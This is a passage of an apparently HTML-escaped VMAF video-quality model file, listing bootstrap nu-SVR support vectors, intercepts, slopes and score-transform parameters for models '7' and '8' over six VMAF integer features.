5:0.86183239 6:0.88618408 \n-0.4860976037123063 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.78101613 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-4 1:0.40634904 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n1.870157944946051 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n-4 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n3.043073135333841 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n-4 1:0.66144997 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.51603659 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-4 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.67569895 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n-3.233648632393172 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.89778056 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n-4 1:0.74644956 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.26623337 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-2.066901918839273 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n1.08676891972011 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n4 1:0.91061528 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-3.717190615602383 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.83887552 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;7&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 209\nrho -1.60567\nSV\n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.8789356 2:0.54342577 3:0.32439292 4:0.78747769 5:0.87303614 6:0.91271252 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n4 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n-4 1:0.42428709 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n-4 1:0.69518774 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n-4 1:0.85632141 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n-2.638182817930172 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.65970734 2:1 3:0.23706331 4:0.5477205 5:0.66054901 6:0.7269284 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.69691564 2:0.48885268 3:0.35289928 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4:0.84012074 5:0.90229375 6:0.92936693 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n2.593702006539725 1:0.76399364 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n-4 1:0.69622281 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;8&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -0.953329\nSV\n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n-4 1:0.77257175 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n-4 1:0.71258735 2:0.22767235 3:0.1864032 4:0.58471122 5:0.67581508 6:0.72558613 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.91839373 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.37333711 2:0.23066177 3:0.29022709 4:0.26882214 5:0.30809596 6:0.35304275 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n-4 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.92683589 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n-4 1:0.52033349 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-4 1:0.74285042 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.57308967 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n-4 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n2.799098998361085 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n-4 1:0.85355434 2:0.34681232 3:0.18754744 4:0.83526909 5:0.90421808 6:0.93421072 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.91341872 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n-3.50719143723042 1:0.63920442 2:0.20629643 3:0.16825499 4:0.55661206 5:0.69111529 6:0.7656762 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.79373193 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n-4 1:0.43289262 2:0.49739676 3:0.19942282 4:0.18051614 5:0.20657779 6:0.22630829 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n-4 1:0.78399277 2:0.34681232 3:0.1457048 4:0.75791308 5:0.84155109 6:0.88132116 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.74425089 2:0.014623935 3:0.78900741 4:0.90386551 5:0.96905764 6:0.98466408 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n-4 1:0.5762709 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.5343717 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n-4 1:0.69004118 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n0.5841343749640862 1:0.6483368 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n-4 1:0.60283702 2:0.083369236 3:0.33229353 4:0.48675881 5:0.60141743 6:0.67458413 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.72746732 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n-4 1:0.68687464 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n-4 1:0.68443073 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 